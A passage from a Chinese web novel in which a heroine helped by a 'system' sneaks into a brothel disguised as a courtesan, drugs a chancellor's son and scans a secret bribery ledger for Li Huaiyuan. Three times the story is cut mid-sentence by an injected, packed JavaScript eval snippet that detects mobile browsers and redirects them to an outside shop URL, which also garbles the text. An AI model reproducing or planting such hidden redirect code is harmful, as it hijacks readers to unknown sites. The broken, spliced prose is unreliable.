李怀远点头:“前堂那些老滑头各个鬼精,陛下尚不能摸清他们的心思,遑论相王了。如今相王还在探查哪些是皇后的忠心党派,哪些是墙头草尚在观望风声。” 不知道谁是皇后的人,自然就无法估算她的兵力,进而不能轻举妄动。 “不过崔相那里有一份名单,如果真到了那一步,怕是只能由我冒险去相府探查了 。” 崔相是三相之首的崔应祁,皇后一族的掌权者,也是她的嫡亲兄长,自然也就是皇后的心腹之臣。 据李怀远所知,崔应祁手里有一份已投效皇后的官员账册,上面记载着往来贿赂的名单,名单并不在相府,而是藏在上京城的烟花柳巷之地。 至于具体在何处,暗卫暂时还没有查出来。 不过,既然是风月场所……我看着他道:“或许有一人可以帮上忙。” “谁?” “叶绥。” 李怀远沉吟片刻,末了舒展眉间一笑:“我倒是把他给忘了。” 说罢动了动酸胀的筋骨,随之往后一倒,后脑勺枕着手臂,舒舒服服地躺在外侧假寐。 “……”他这是什么意思?!第一次的时候好歹还陪我一起坐到卯时上朝时分,现在才几时,就已经对我不管不顾了! 我在黑暗中张牙舞爪地朝他挥舞了一阵,正要收手,只听眼前人道:“别磨牙了,好吵,你这个人睡觉怎么一点睡德都没有。” 睡德是个什么鬼啊!再说我哪有觉可以睡,还要个什么德,于是幽怨道:“世子,我没睡。” “那你从墙角的柜子里拿一床被褥来过来,大家挤一挤?”李怀远睁开眼提议。 说罢还从身后抽出来一个玉枕,与他那个一模一样,此刻正被他整整齐齐地摆放在榻上。 看着他又强迫症似的要将玉枕与他的对得一般齐,我深吸一口气:“这不合适吧,世子。” 李怀远“哦”了一声,道:“外室那屏风后有个三围屏罗汉床,你要不睡那儿?” “那儿也不合适吧……”和李怀远在一起,怎么可能睡得着啊,我眨巴着眼睛示意自己想回后院去。 “得,事儿真多。”李怀远起身掀开幔帐,脚力极轻地走到一排架子跟前,背着手挑了一阵。 我正疑惑他要做什么,就见他取下一套暗纹黑瓷茶盏,选了个边沿有豁口的,踱步到窗前,“啪啦”一声将其摔在墙上,紧接着抬高了声道:“没用的东西,你是哪里学的伺候人的功夫!” 我耸耸肩,突然觉得李怀远这个人,嘴巴虽然坏坏的,心地却还是不错的,竟然还记得我第一次来时情急之下瞎出的主意。 真演了一出,摔东西然后气急败坏地让我滚出去的戏码。 我勾上鞋履,也扒到窗边,顺着李怀远戳的小洞往外看。此刻月色正浓,也没吹什么风,而假山洞口的梅树却在隐隐晃动,仔细一看,硕硕梅花之后露出小半个帷帽来。 我低低呼了一声:“还真有人监视您!” “不然呢?”李怀远没好气道:“你以为我是闲来无事逗你玩的?” 我低头摸了摸耳垂,没敢说自己还真这么想过。弯腰捡过方才那个没摔碎的茶盏,双手奉到李怀远跟前:“世子,是时候让我滚下去了。” 李怀远拿起茶盏用力一摔,怒道:“滚下去!” 我笑眯眯朝他竖起了个大拇指,而后嘤嘤嘤地捏着袖子跑回后院去了。 …… 翌日一早,叶绥照例来上早课,刚进得中门,就被陵光一把给掳到了书房内。 我和李怀远分坐两侧,定定地看着他。 叶绥一抖,颤声道:“你、你们要干嘛!” 18.第 18 章 “我就知道终会有这么一日…你们俩还是没忍住对我下手了,我就知道,我的直觉向来准的可怕。” 我嘴角一抽,连忙抚慰:“叶小公子,你误会了,今日是我们有求于你,还望公子不吝赐教。” 说完又觉得不妥,“我们”这两个字,倒像是把我和李怀远放在了同一高度,俨然我是当家主母一般,实在是过于僭越了。 好在李怀远一直静默坐着想事情,老僧入定般,眉头都没皱一下,我也就装作不知道。 叶绥幽怨着幽怨着,突然止了呼吸,“咦”了一声,狐疑道:“这是什么意思?” “咳,听闻叶公子常去上京各处的烟花之地……” 眼见他脸色又难看了起来,我忙道:“煮茶寻友,我是说常去煮茶寻友、坐而论道。” “总之一定是对各个风月场所了如指掌,想必其中的人和事,没有叶小公子不知道的。” “那是自然。”叶绥扬起下巴道。 说罢他便开始滔滔不绝地讲述起来,哪里的姑娘们最是千娇百媚,哪里的价格最公道,哪里的茶点最好吃,以及哪里王公贵胄最爱去…… “等等,你方才说寻芳阁不允许寻常百姓入内?” 也就是说,这里既是鱼龙混杂之地,可又不那么的……杂! “没错,明面上虽然没说,暗地里却是如此操作的,这里面的姑娘各个都是天价,寻常人家哪里出得起这么多银两。” 我眼睛轱辘轱辘直转,好奇道:“翰林大学士的俸禄这么高吗?可供你如此……” 据我所知,翰林院不似六部掌着实权,油水不好捞,是个实打实的两袖清风的官职,不过叶之韫此前还兼着教导皇室宗族一职,就不知道这风还清不清了。 叶绥红着脸道:“什、什么啊,我才没有与她们行那苟且之事呢,我只是喜欢和姑娘们谈谈诗词歌赋而已。” “?!”不是吧,我脱口而出:“你竟然没睡……” 李怀远看了我一眼,嗤笑道:“你还真以为他洁身自好?” “不是吗?” “矜贵如叶公子,只是看不上那群人罢了,要真遇上好的,你看他还有没有空谈诗文。” “这样啊。” 叶绥见我们两个你一言我一语的,脸瞬间涨得更红了,急急忙忙地解释:“哪有啊,小叔你别乱讲,我只是心地善良,喜欢听姑娘们说说体己话,时常宽慰她们而已。” “哦,妇女之友啊。”李怀远道。 叶绥:“……” 敛了神色,我说起正事:“也就是说,凡是勋贵人家,平日吟诗作乐都只去这寻芳阁了?” 叶绥情绪来的快,去的也快,随即道:“也不一定,偶尔也会去别处尝尝鲜,只是别的地方大多资丽不佳,大家都觉得没劲儿。” 懂了,就是见惯了风华绝代的牡丹,再去看路边的野花野草自然觉得索然无味了。 既然时间紧迫,这个寻芳阁可能性又最大,那就先从此处入手吧。 “叶小公子能否绘制一张寻芳阁的地形图?越详细越好,最好每间屋子常去的恩客、每位姑娘常见的人都能标注出来,再细细讲与我们听。” 叶绥素来最讨厌笔墨,闻言一摊手,不情不愿地挪腾到了书案前。 有些疑惑道:“你们要这个做什么?” 我看着他但笑不语,李怀远不发话,我又怎么敢把实话往外说。 兴许是叶绥在李怀远跟前碰钉子碰的次数多了,没人答话也见怪不怪,努了努嘴,研了墨边提笔边说道: “我试试啊,但不能保证每一处……” 话还没说完,一直冷眼静观的李怀远突然眯眼看他:“我听闻,学士大人近日对你好像关心甚少,连你今年的丰功伟绩都还不知晓。” 说着就开始一一列举,“今年年初,你在京淄燃放爆竹险些烧了自家庄子,四月初九,拐了户部何大人家的五房小妾,六月二十……” “等等!”叶绥手一抬,拍了拍胸脯十分严肃道: “放心吧小叔,我这么年轻,记性又好,一定不会记错任何地方。” 说是不会记错,却足足画废了十几张图纸,他也不甚在意,将那几片废纸胡乱一揉,四散在各处,过了会儿又嫌笔不好用,总晕墨,遂另取了七八支来,扔得满案几都是。 李怀远微微皱眉,我就知道他强迫症又犯了,一看见凌乱的东西就想整理,但此事隐秘,又不方便叫人进来收拾,他给我使眼色我只当是没看见,只顾着低头研墨。 系统飘在我头顶大笑:“哈哈哈,论逼死强迫症的一万种方法。” 约莫一个时辰后。 一张画工极差七扭八歪的地图,就这么呈现在世子府的书房案几上。 不过虽说字写得乱七八糟,但哪里是亭台楼阁,哪里是水榭,哪里的雅间是达官贵人常去的,以及后院哪里有条大黑狗,叶绥都清清楚楚一一标注在纸上。 李怀远忽略了他那几笔狗爪子爬过的字,大致听他叙述了一遍个中布局和往来恩客,随后直指主楼一旁打着“×”的地方。 “这是?” “这是禁止入内的意思。” 我和李怀远对视了一眼,敏锐地察觉出有些不对劲。那处楼阁分明毫不起眼,看着就像个堆放杂物的地方而已。 说起这个,叶绥有些愤愤不平,双手叉腰: “还不是那个崔金林,仗着自己有个当宰相的爹,就在寻芳阁里横着走,豪横地包了一整座楼阁,你们别看这外面普普通通,墙面还刮坏了皮,实际上里面堆金砌玉的,好不奢华。 “哼,他还包了阁里最富盛名的云间姑娘呢,让谁都不准接近。” 李怀远眉头一拧,指尖点着玉案,道:“这事儿我怎么没查出来?” 叶绥方才还气哄哄的,一见李怀远竟也有没自己消息灵通的时候,瞬间就把姓崔的抛之脑后,笑嘻嘻道: “哈哈哈,你的人各个五大三粗,只会吓姑娘,不会哄姑娘,在寻芳阁这种地方自然什么也查不出了。” 又沾沾自喜道:“我就不一样了,我嘛,向来都是温润公子的做派,软香在怀,姑娘们什么都愿意跟我说的。” “原本我也没注意过那个阁楼,只一次喝醉了酒走错了地方,云间姑娘忙拉开了我,才私下里悄悄跟我说,那地方是崔金林专用的。” 早就听闻崔相府上的大公子骄奢淫逸,惯爱寻花问柳,只是一直以来有崔相给兜着,名声倒也不算太烂大街。 我疑惑道:“依这位崔公子的性格,应该不至于害怕别人知道这种事吧?”不仅不怕,没准他还得炫耀一二。 叶绥“哎呀”一声,说道:“他是不怕,可他爹怕谏官弹劾呀,崔相哪能看着他儿子大张旗鼓地在青楼安个家,肯定得捂得严严实实,不叫旁人知道了。” 捂得严严实实? 等等,想要捂得严严实实的事……恐怕不止这么一件吧?只不过明里暗里的人,都把眼光牢牢放在崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14262016|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应祁身上,很少会有人关注他这个不靠谱儿子崔金林。 即使他真做了什么遮遮掩掩的事情,大家也只会觉得跟风月之事有关,断不会想到别处去。何况这种事确实挺有损崔相官威的,遮掩一二倒也正常。 或许崔相正是利用了这一点…… 显然李怀远也想到了这处,问叶绥:“崔金林是什么时候弄来的这阁楼?” 叶绥拖着腮帮子思忖了会儿:“大概……两个月前吧。” 两个月前,正是故太子和皇后斗得如火如荼的时候,听李怀远说,太子当时得知了这本账册的存在,差点没暗地里把上京城翻个底朝天,势必要找到账册告到陛下跟前,揭露皇后结党之事。 熟不知皇后权利熏天,早已能够和陛下分庭抗礼了。 故太子做这事虽然徒劳,却也意外让李怀远得知了账册一事,如今若能找到那本皇后党往来贿赂的账册,便能知己知彼,蛇打七寸。 “不过你们问这个做什么?该不会是……”叶绥突然深吸一口气,惊愕的眼神在我和李怀远身上来回打转。 我心里一紧,只听他道:“你们也想做青楼的生意啊?” “……”身子一歪,差点没扶住桌角跌倒在地。 “这恐怕不大好吧小叔,你祖父当年何等八面威风,他老人家要是泉下有知,说不定会气得上来……” 眼见越说越诡异,我赶紧讪讪打断:“没有的事,叶小公子,你真是想多了啊。” 李怀远显然见惯了他这样,淡定地将手中的半盏茶一饮而尽,接着又问了他几个与寻芳阁有关的问题。 直到叶绥答完话,吃完茶,披上狐裘拉开书房门准备离开时,李怀远也完全没有向他透露只言片语的意思。 叶绥走远之后,我这才开口:“方才世子问了许多和那座小阁楼有关的,是怀疑那份记载官员名单的账册就在此处?” 起初我也这么想过,可又实在觉得,如此重要之物交给一个心无城府的纨绔,崔相当真不会认为太过冒险了吗? 李怀远看出了我的疑虑,轻笑道:“或许,崔金林根本就不知道账册的存在。而崔应祁只是借他儿子的花花名头,在寻芳阁里建了个‘密室’,并将账册放在那里。否则以当时的情形来看,崔应祁完全可以打断他儿子的腿关进祠堂,再叫人把消金窟给拆了,如此不是更加万无一失吗?” 好狠,我肩膀一抖。 但不得不说的确是这样。崔应祁这一招大隐隐于市,任谁都不会注意花柳巷这座不起眼的无名小阁楼,就算注意到了,也有崔应祁的人在暗处把守。 要是有人为此起疑,查来查去,也会只当是崔相丢不起那人,在给儿子的风月烂事做遮掩。 由此一来,这里反倒成了灯下黑。 “您打算怎么办?进得去吗?” “进去倒不成问题。”李怀远有所顾虑:“问题是,如何能做得神不知鬼不觉?要是崔应祁知道有人动过那本账册,难免会起疑。” 一旦起疑,就不再是敌明我暗的局面了……既然不能被崔相发现,自然就不能直接将账册拿走,可不拿走的话,如此险境之下,要迅速翻完一本账册,又要将上面涉及之人的名字全都记下来,试问谁能做得到如此? 我灵光一闪,好像还真有人能。 一抬头,看向头顶发出点点光亮的系统,我狡黠一笑,此刻它正在拖着那个卡通脑袋打盹,全然没注意我们说了什么。 “世子,让我去吧。” 19.第 19 章 只听“当啷”一声,上好的通体托白玉盏闻声落地,饶是向来处之泰然的李怀远都不免震惊,那张俊俏的脸上写满迷惑。 “你去?你去干什么?” “我可以扮成新晋的青楼女子,混进崔金林的红粉娇人中,再伺机而动去翻账册。世子放心,我记忆力极佳,定能成事。” 他脸色倏地沉了下来,随即道:“不行,又说什么胡话。再说你肩伤还未……” “早就好了。” “那也与你无关。”他眸底冷冷的,掀起眼帘扫了过来。 “我李怀远就是再不济,也断不会把女人推出去行此险事,没有那份名单,大不了到时候生死由命,我神策卫多的是忠君爱国的好男儿,谁输谁赢还不一定着呢。” “可硬碰硬难免会损失惨重,现在既然有这个机会,不如放手一搏,或许能扭转乾坤,您就让我去吧。” 他盯着我,似是要从我的脸上看出花来:“为什么?你就不怕自己有个三长两短?” 怕,自然很怕。 但一旦成事,多少将士能免一场生死厮杀,又有多少人家能少一场白发人送黑发人的肝肠寸断之举。何况皇后倒台,安乐自然苟活不长,这也算是我替先生和小壶姐姐报仇了。 最重要的是,助相王成事,若有一日他荣登大顶,我就是有从龙之功的功臣之列,那么进入翰林的志向就极有可能实现。 我绝不能放弃这个机会。 可我又不能如此直白地告诉李怀远,只能说道:“我见世子多劳累,于心不忍,想为世子分忧解难。” 李怀远明显眉眼一舒,神色缓和了许多,压了压嘴角道:“你这个人……行了,我知道你的心意了,但此事过于凶险,你万万不能插手。” 见他这里说不通,我便乖乖闭上了嘴巴。 可留给他的时间着实不多了,纵使李怀远再神通广大,毕竟也是人不是神,百密总会有一疏,皇后把持朝野多年,岂是轻易能对付的。 再说我有系统这个强大的存储器,简直就跟开挂了一样,这件事舍我其谁。 百般思忖之下,我找上了叶绥。 在说了我的请求之后,只听平地一声惊雷,叶绥一声吼叫差点掀翻房顶的青瓦。 “你……你、你说什么?!你再说一遍!”他张着嘴巴,难以置信地盯着我。 说着伸出手去掐自己的胳膊,“我没做梦吧,你要去寻芳阁做、做、做妓……” 我帮他合上下巴,解释道:“不是真的卖身给寻芳阁,只是让你今夜找关系把我带进去一趟,我的确是有件不能言说的要紧事要查,否则……” “否则什么,会有性命之忧吗?” 我郑重地点了点头:“比那个还要更严重些。” 叶绥倒吸一口凉气,忧心道:“这么严重啊?” “很严重。” “可是如果让小叔知道我带你去青楼……” “关他什么事?” “啊?难道你们俩不是那种关系吗?”叶绥眼中闪过一抹惊讶。 我重重地吐了口气,懒得跟他解释那么多,只说:“这事保管不叫第三个人知道,事成之后,你一个月的字帖和课业我全都包了。” “这……” 我闭了闭眼:“两个月。” “成交!” 葭月末,上京城南的芳草街。此时寻芳阁里凤箫声动,玉壶光转,一夜鱼龙舞。 换了件浅紫的轻罗衣裙,套上绣着清丽花纹的烟纱,挑了朵好看的花钿贴在眉间,我看向一旁眼神快要溢出光的叶绥。 “叶小公子不必在此作陪了,剩下的我自己处理就好。” 叶绥摇摇头,大冬天里还不忘摇着他的扇骨:“今禾,你可不能卸磨杀驴。” “哎,女人果然重在打扮,正所谓芙蓉不及美人妆,水殿风来珠翠香,啧啧,你装扮过后竟连身材都妩媚了几分,眸子却如三春之桃,妙哉,妙哉。” 说罢又忍不住看了几眼,“唉,我小叔真是暴殄天物啊!不过话说回来,你这一打扮,我总觉得你眼熟得很,好像在哪里见过似的。” 忽而心头一跳,往门外走的脚步显些都凌乱了,我稳住心神,学着李怀远之前那套说辞道: “哈、哈哈,我这个人就是跟谁长得都挺像的,前段日子,秋弥国三皇子还说我长得像他的一个旧交呢,好笑吧。” 说罢又尬笑了两声。 叶绥点头:“那你的长相确实挺奇特的。” “……” 华灯初上,寻芳阁里混乱嘈杂。 见花魁久而不出,各个披金戴玉的公子贵人们便开始有些不耐烦了,刚进主楼落座的崔金林听闻后亦有些恼怒,抬脚就往外面走。 刚一出门,一个女子身影便与他在雕梁画栋的红木柱后撞个满怀。 我装作单薄柔弱的样子,摇摇欲坠地落入眼前的男子怀中,不等他反应,便慌忙失措地跪在地上求饶: “贵人、贵人饶奴一命,奴不是有意冲撞……” 叶绥方才教过我,要把薄纱下白皙的脖颈若隐若现地露出来,最好再颤颤巍巍地跪着,更显得娇滴滴的惹人怜。 果然,崔金林哪还生得出气来,不仅不气,更是温声细语地将我扶起。 “在下瞧着姑娘眼熟,想来是有缘,可否阁楼一叙?” 怎么这世上谁都瞧着我眼熟…… 芊芊素手点上红唇,眼波微动:“那便叨扰公子了。” 说罢正对上崔金林那双充满贪色眼睛,其实他长得也不算难看,甚至可以说有些清贵,但他给人的感觉完全和叶绥不一样,处处散发着猥琐的气息。 我装作羞怯的样子避开他伸来的手,安静地跟在他后面往阁楼的方向走。 这座阁楼确实不大,一入门算是厅堂,沿着雕花檀木楼梯往上,才是吟诗弄月、供人玩赏的雅间。 我快速扫了一眼雅间里的布局,断定此处无法藏人,崔相的人应该是在外面的某个地方把守。不过他们公子隔三差五地就带女子进来,我也不算什么例外,不会引得他们注意。 所以现在这里除了我和崔金林,就只剩下两个他的随从,以及寻芳阁派来侍奉的一个小丫头。 这时,崔金林大手一挥,不一会儿就上了一桌子的海陆珍馐,又君子做派似的邀我入座,温柔道:“姑娘是何牌号,我好像从来没在寻芳阁见过你?” 我回想起叶绥说的,答话时要梨花带雨、像林中被猎人一箭射中的小鹿般,这样他就没有精力思考你说的是不是真的,满脑子只顾得上心疼了。 于是我装出一副强忍泪意的表情,颤声道:“奴是新来的,还不曾、不曾侍奉过哪位贵人。” 一听是个还没伺候过别人的雏儿,崔金林简直要乐开了花,眼冒金光,满心欢喜地说了几句好听的话。 系统在一旁提醒我:“我说你别玩大发了,这男的看着很是下流啊。” 我示意它先在屋里瞧瞧可疑之处,看有没有可以藏匿账册的地方,自己则是不安地看向门外,欲言又止。 崔金林轻声问道:“姑娘这是怎么了?” 我低下头挡住神色,微微赧然: “奴想给公子抚琴一曲,以报公子盛情款待,又怕琴技 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14267822|150881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不佳遭外面那几人的笑话,扰了公子兴致不说,怕是以后也没胆子再弹于公子听了。再说末了服侍公子,有外人在……” 当然,这些都是叶绥教我的,我只负责全文背诵。 不得不说,他在这方面真是出神入化地懂崔金林,说完之后,果真就见崔金林拉开门朝外头道: “行了,都出去,候在阁楼外面吧。” 随后门一关,就要上来抓我的手臂,我借着起身抚琴轻巧躲过,三分魅惑七分惹人怜的模样求道:“公子莫急。” 也不知道学的像不像,反正崔金林是鬼使神差地坐下了。 悄然瞥了一眼角落里燃着的迷香,为拖延时间,我只得装模作样地弹奏了长长的一曲。 约莫一刻钟过后,兴许是崔金林实在心痒难忍,面露不耐,不愿再听干巴巴的曲子,半推半就地拉了我便往榻上勾。 系统都要吓傻了,屏幕剧烈地抖动着。 似乎是上天算准了时间,就在榻上帷幔将将落下之际,突然“砰”地一声巨响,崔金林倒在了地上。 这时,系统大口大口地喘着气:“吓死了,好久都没这么惊心动魄了。” 我没空跟它搭腔,连忙把崔金林拖拽到榻上,解开玉带和束发的玉冠,扯掉了一边的纱幔,又拿起酒壶“咣咣咣”给他喂了好大几口,制造出一室旖旎的假象。 随后快速将迷香销毁,这才站直了身子缓了缓。 “发现什么可疑的地方了吗?”我边在各处翻找,边头也不抬地问道。 系统摇了摇头。 额间冒出许多细汗,心跳如擂鼓,这种事我不经常干,说不紧张那是假的,何况此屋满到处都是珠宝玉器、琳琅满目的,要找个东西还真不简单。 我强迫自己镇定下来,倏而想到李怀远说的那句,或许崔金林根本就不知道名单的存在。 突然灵光一现,如果我是崔相,面对这个糊涂儿子,我指定不会把东西藏在能轻易挪动的地方,比如盆栽,花瓶,屏风夹层,谁知道那个败家儿子什么时候一个不高兴就给扔了。 那还能是哪里呢?此处是个小阁楼,又不可能有暗室…… “房梁上看过吗?” 系统飞上去查看了一圈道:“全是灰,什么都没有。” 四周的墙和地面也都仔细敲过一遍了,没听到什么异样的响动,能找的地方差不多都该找完了。 眼见榻上的人眉眼挣扎着似乎就要转醒…… 急得我直跺脚。 方才下药时没敢用太多剂量,怕被他事后察觉,谁知他醒的比我预料到的还要早一些。 系统催促我快走,再不走就来不及了,叶绥也蹲在墙根上着了急,直学猫叫。这是我和他定的暗号,如果外面有什么动静,他就发出三声猫叫。 看来是有人来了。 焦急之中我一手攀上窗棂,打算破窗而出,尽管只会些三脚猫的功夫,但一丈多的高度还是不成问题的。 只是掌心刚一搭上花窗的壁沿,便有种异样的感触,这窗洞内雕的花草未免也太不平整了些,情急之下一抠手下的木板,只听“咔哒”一声,木板竟然开了。 机关盒! 这花窗的雕面竟然是空心的,里面放着一个机关盒子,这种样式的锁我闭着眼睛都能开,三下五除二就打开了。 盒子里静静地躺着本册子。 我甚至来不及看清封面和扉页都写了什么,急忙唤了声系统,开始“哗啦哗啦”地翻书,系统聚精会神,一页一页地往屏幕里储存,终于,最后一页翻完。 这时,楼梯响起了一串急促的脚步声。 20.第 20 章 我的心脏直窜嗓子眼,抖着手将木板盖上,刚物归原位,就见榻上那人动了动,嘴里咕哝着:“姑娘……” 随之而来的,是阁楼雅间的门被人一脚大力踹开,只听得一声中气十足的怒吼:“逆子!” 我赶紧屈膝蹲下,用宽大的衣袖遮挡着脸,俨然被吓坏一般。 “我三令五申,叫你近日不要出府,不要出府,想来你是全当耳旁风了!现在是个什么当口,你还敢跑出来寻欢作乐!” “爹,孩儿瞧着上京挺风平浪静的,是您太……” “蠢货!你能知道些什么,上面的暗流涌动能叫你知道?”崔相还想再骂些什么,又觉得地方不对,生生压了下来,道: “来人!把这个逆子给我关回相府,半个月不许踏出大门半步。” 半个月?那不就是腊月初一至十五……怎么,十五过后这上京城就太平了不成? “爹!爹!你们这群狗奴才竟敢碰我?!你们是不是疯了!” 崔相气急,一掌将其拍晕,冷冷道:“架回去。” 临走前向我的方向瞥了一眼,又不可察觉地朝属下一点头,待他走远,那名府官缓缓走到我跟前,笑道:“姑娘请吧。” 还好方才混乱之际,我趁人不注意,将事先准备好的面纱拿出挡住了面容,此时倒也不怕哪个火眼金睛的认出我是世子府的人。 我哆哆嗦嗦地站起身子,颤颤巍巍地下了楼,刚一走到正厅,便迎面撞上个女子,她低头规规矩矩对那府官行了礼,礼毕双手便直直朝我身上来。 府官道:“姑娘别怕,也不是公子信不过姑娘要凭白辱没你,实在是相府的规矩难为,我们下面这些人,不过也是例行检查罢了。” 哦,怕我拿了什么不该拿的,搜身啊。 于是点点头:“贵人身处高位,处境凶险,自然要再小心不过。” 那府官约莫是怕我回头跟崔金林告他的状,一直陪着笑脸,猝然听我这么一说,当即放下心来,又好言好语地说了几句话,催促那女子动作快些。 直到那阁楼落了锁,一干人等的脚步声越来越远,我那提到嗓子眼的心脏才终于归了位。 这时,叶绥从一旁的花丛里蹿出来,急匆匆地就带我往后院走,边走边不忍地看了我一眼:“那群人竟然搜你的身,这简直……简直太侮辱人了。” “……”不侮辱吧,过安检不都这样吗? 见他没再多说什么,我跟在他后面,开始思绪乱飞。 按理说朝中争斗到底是与坊间关系不大,崔相不愿崔金林在这个当口惹是生非这好理解,但再也怎么说,也不至于直接拍晕了让下人押回府吧,毕竟是相府嫡子,竟是一点脸面都不留。 还是说,事情已经发展到了刻不容缓的地步?崔相懒得跟自己的蠢儿子废话。 穿过亭台水榭,远远地,就见叶绥的小厮一脸焦急地来回踱着步,一看见叶绥,瞬时欢天喜地了起来。 这事儿叶绥连他随身的小厮也没说过,所以直到这一刻,那小厮还以为我真的是寻芳阁里的姑娘,遂劝慰道:“公子,这老爷要是知道您赎了个……” “行了行了,你不说我不说,怎么会有人知道。”叶绥从他手中接过一身小厮的衣服,一指旁边的屋子,朝我道:“快去换上,我们从后门出去。” 那小厮还在忠心耿耿地劝着,只见叶绥拍了拍他的背,郑重其事道:“实不相瞒,这位姑娘根本不是人。” 小厮哆嗦:“鬼……鬼啊。” “自然不是。”叶绥先是敲打了他一番,又神神秘秘道:“这是九天玄女,来凡间历劫的,我们救她一命,待她回到天宫,自然要保佑我们福寿康健。” “公子,那我想求个爱说笑的小媳妇……” 叶绥道:“成,我回头跟她说,你先回府去吧。” “……” 拆卸了满头的金钗玉饰,我和叶绥悄然出了寻芳阁,后门这个时辰除了三两醉鬼,半个人影都没有,我们坐上辆临事雇来的马车,在临近几个街巷里都绕了一遍。 确保没人跟踪,这才弃了马车,徒步往世子府走去。 一路上加上系统,三人皆是神色匆匆,大气不敢出,生怕后面突然有人跳出来大喊一句“站住”,直到看见前方府邸门口的垂花檐柱下,挂着的熟悉的红纱贴金烛灯,我才突然脱了力,大口大口地喘着气。 叶绥双手叉在腰间,比我喘得还要厉害,两人突然一对视,都心有余悸地笑出声来。 “我说,今晚可真是太刺激了,当年我爹追着我跑八条街都没这个……” 正说着,偏殿忽然隐隐传来刀剑碰撞的打斗声,我示意叶绥蹲下来,猫着腰靠着墙根往前走,走了一阵,只听打斗声越发清晰了。 带路的叶绥转过身僵硬道:“对不起,走反了。” “……” “算了,先在这棵树下躲一阵吧。”墙根有棵粗壮的老桐树掩着,不易被人发觉,反倒是乱走的话,指不定直接撞到人家刀下去了。 叶绥和系统一左一右蹲在我两侧,跟两个门神似的,异口同声抬头问道:“里面发生什么事了?” 我没忍住笑了出来,突然冒出一个如果他俩是双胞胎那就好玩了的念头,不过话说回来,叶绥脾气向来很好,系统则十分易燃易怒。 听见我笑,叶绥也跟着笑笑:“今禾,你笑什么呀?” 反观系统,则白眼道:“笑屁哦。” 我清了清嗓子,朝墙内打斗方向看了一眼:“没看错的话,这里应该是静文公主暂居的地方吧……” 叶绥惊讶:“谁胆子这么大!” 胆子这么大的,统满上京城,皇后要是居于第二,谁敢居第一。 只是她暗杀李怀远就暗杀李怀远,人家静文又没招惹她,为什么非要大动干戈地来动她?而且看这架势,也不像是要除掉静文,倒像是要把人掳走的手法…… “皇后还真要抓了静文公主,以此来要挟李怀远啊?”系统在李怀远身边待久了,自然能猜到这是皇后的手笔,左右叶绥也听不见它的声音,它想说什么就说什么。 直到打斗声逐渐消散,周遭重归寂静,叶绥这才敢站直了身子,摸着胸口长舒一口气:“今夜真是太刺激了……” 只是话还没说完,他突然就变了脸色。 我吓了一大跳,直以为是叶绥看得到系统了,复仔细一瞧,才发现他是在看着我身后的方向。 只是我还没来得及松口气,就听见一声冷若寒潭的声音,夹杂在一股淡淡的雪松香之间传来。 “是有多刺激,不妨说给我听听?” 糟了!后背一僵,我定在原地一动不动。 …… 此时夜色已浓,我和叶绥像两个小鸡仔似的,被李怀远提溜到了主院的内室。 第四次再来,果然不复以往尴尬,取而代之的是七分惶恐,和三分对叶绥的歉疚,原本下了马车就该同他作别的…… 叶绥果然同他说的一般心善,说什么都要将我送回来,又说世子府与叶府是邻街,走世子府后门出去,再翻道墙就到家了,耽误不了一炷香的功夫。 现在看来,只怕是十炷香过后他都回不去了。 隔着个周舫纤腰的丹青色屏风,我跟叶绥一侧站一个,正面对着墙思过,这时,沉默了半晌的李怀远突然开口问话了,声音虽是冰冰凉凉的,却能听出来夹杂了不小的怒火。 “谁先说?” “我我我。”叶绥一个箭步冲向榻前,三言两语就把我给卖了,但这也不怪他,他是真的怕了李怀远,不过好在最后还帮我说了两句好话。 “我们是全身而退了的,没被人发现,小叔放心,牵扯不到世子府。而且这事也不能怪今禾,她是真的有要紧事。” “什么要紧事?” “我也不知道。” 李怀远气极反笑:“你是蠢货吗?什么都不知道就敢跟着她乱来!她要是穷凶极恶之徒呢?要是什么变态,转手就把你卖到秦楼楚馆呢?” 叶绥一抖:“她应该不是吧……” “还敢顶嘴?” “你不知道,小叔。”叶绥急忙解释:“她那可是往龙潭虎穴里闯,不是要紧事谁傻啊,非去那种地方不可,何况、何况……” “今晚当真凶险,那迷香要是再有一刻不起作用,今禾就被那狗东西给……” 陡然,只听“哗啦”地一声,玉盏应声而碎。李怀远甚至没等他把话说完,就掀翻了榻前的案几。 他眼眸森然,低沉的嗓音中极力压抑着怒气:“叶绥,你以前干的荒唐事我都既往不咎,但今日之事我记下了。” 叶绥一副快要哭了的神情,差点吓晕过去,闻言赶紧求饶:“小叔,我真的知道错了,我再也不敢了……” “你向来是个不长记性的,这我知道。但今天你给我竖长了耳朵听清楚,今日之事你要再犯,或是胆敢在外面胡说半句,别说是你的命,就是诛了你们叶家满门,也是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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李怀远一直闭着眼,眉峰紧蹙,神色冷峻,似乎因盛怒而有些呼吸不畅。 忽而想起那次被安乐鞭笞后我随意议论朝堂的话,当时他都没有这般吃人的模样。遂张了张口,有些不知道说什么。 只是软烟罗纱帐一放下,这样干坐着便显得颇为尴尬了,我终于还是鼓起勇气谄媚道: 